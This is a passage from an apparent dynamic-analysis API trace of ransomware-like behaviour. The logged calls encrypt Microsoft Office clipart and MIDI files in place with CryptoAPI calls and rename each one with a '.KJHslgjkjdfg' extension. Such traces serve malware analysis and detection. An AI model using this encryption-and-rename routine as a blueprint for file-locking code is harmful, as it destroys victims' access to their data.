liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.330] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.330] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.330] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.330] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15d49, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15d49, lpOverlapped=0x0) returned 1 [0214.335] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15d50, dwBufLen=0x15d50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x15d50) returned 1 [0214.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.336] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x15d50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x15d50, lpOverlapped=0x0) returned 1 [0214.448] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.448] SetEndOfFile (hFile=0x130) returned 1 [0214.451] GetProcessHeap () returned 0x2ef0000 [0214.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.452] GetProcessHeap () returned 0x2ef0000 [0214.452] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400002.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400002.png.kjhslgjkjdfg")) returned 1 [0214.453] CloseHandle (hObject=0x130) returned 1 [0214.454] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x234c6600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x234c6600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x1e836, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400003.PNG", cAlternateFileName="")) returned 1 [0214.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.463] GetProcessHeap () returned 0x2ef0000 [0214.463] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.463] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.463] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0214.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.490] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.495] GetProcessHeap () returned 0x2ef0000 [0214.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.503] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.509] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.510] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.515] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.515] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.515] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.516] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.516] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.516] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.516] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.516] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1e836, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1e836, lpOverlapped=0x0) returned 1 [0214.520] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e840, dwBufLen=0x1e840 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1e840) returned 1 [0214.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.521] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1e840, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1e840, lpOverlapped=0x0) returned 1 [0214.522] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.522] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.522] SetEndOfFile (hFile=0x130) returned 1 [0214.526] GetProcessHeap () returned 0x2ef0000 [0214.527] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.527] GetProcessHeap () returned 0x2ef0000 [0214.527] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.kjhslgjkjdfg")) returned 1 [0214.529] CloseHandle (hObject=0x130) returned 1 [0214.529] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39f2bd00, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39f2bd00, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x19a5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400004.PNG", cAlternateFileName="")) returned 1 [0214.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.530] GetProcessHeap () returned 0x2ef0000 [0214.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.530] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.530] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.530] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0214.533] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.533] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.534] GetProcessHeap () returned 0x2ef0000 [0214.534] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.534] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.534] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.534] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.534] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.535] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.535] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.535] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.535] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.535] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19a5d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x19a5d, lpOverlapped=0x0) returned 1 [0214.544] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a60, dwBufLen=0x19a60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x19a60) returned 1 [0214.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.545] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19a60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x19a60, lpOverlapped=0x0) returned 1 [0214.545] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.545] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x19b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.546] SetEndOfFile (hFile=0x130) returned 1 [0214.549] GetProcessHeap () returned 0x2ef0000 [0214.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.549] GetProcessHeap () returned 0x2ef0000 [0214.549] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.549] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.kjhslgjkjdfg")) returned 1 [0214.551] CloseHandle (hObject=0x130) returned 1 [0214.551] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aa7600, ftCreationTime.dwHighDateTime=0x1c98cd2, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82aa7600, ftLastWriteTime.dwHighDateTime=0x1c98cd2, nFileSizeHigh=0x0, nFileSizeLow=0x17742, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0400005.PNG", cAlternateFileName="")) returned 1 [0214.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.552] GetProcessHeap () returned 0x2ef0000 [0214.552] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.552] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.552] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.552] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0214.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.556] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.556] GetProcessHeap () returned 0x2ef0000 [0214.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.556] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.556] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.556] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.557] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.557] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.557] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.557] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.557] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.557] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x17742, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x17742, lpOverlapped=0x0) returned 1 [0214.559] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17750, dwBufLen=0x17750 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x17750) returned 1 [0214.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.560] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x17750, lpOverlapped=0x0) returned 1 [0214.561] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.561] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.561] SetEndOfFile (hFile=0x130) returned 1 [0214.564] GetProcessHeap () returned 0x2ef0000 [0214.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0214.564] GetProcessHeap () returned 0x2ef0000 [0214.564] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0214.564] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.kjhslgjkjdfg")) returned 1 [0214.566] CloseHandle (hObject=0x130) returned 1 [0214.566] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2645, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="JAVA_01.MID", cAlternateFileName="")) returned 1 [0214.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JAVA_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\java_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0214.567] GetProcessHeap () returned 0x2ef0000 [0214.567] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0214.567] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0214.567] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0214.567] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0214.569] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.569] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.569] GetProcessHeap () returned 0x2ef0000 [0214.569] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0214.569] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0214.569] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0214.569] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0214.569] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0214.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0214.570] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0214.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0214.570] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0214.570] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0214.570] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0214.570] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.570] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2645, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 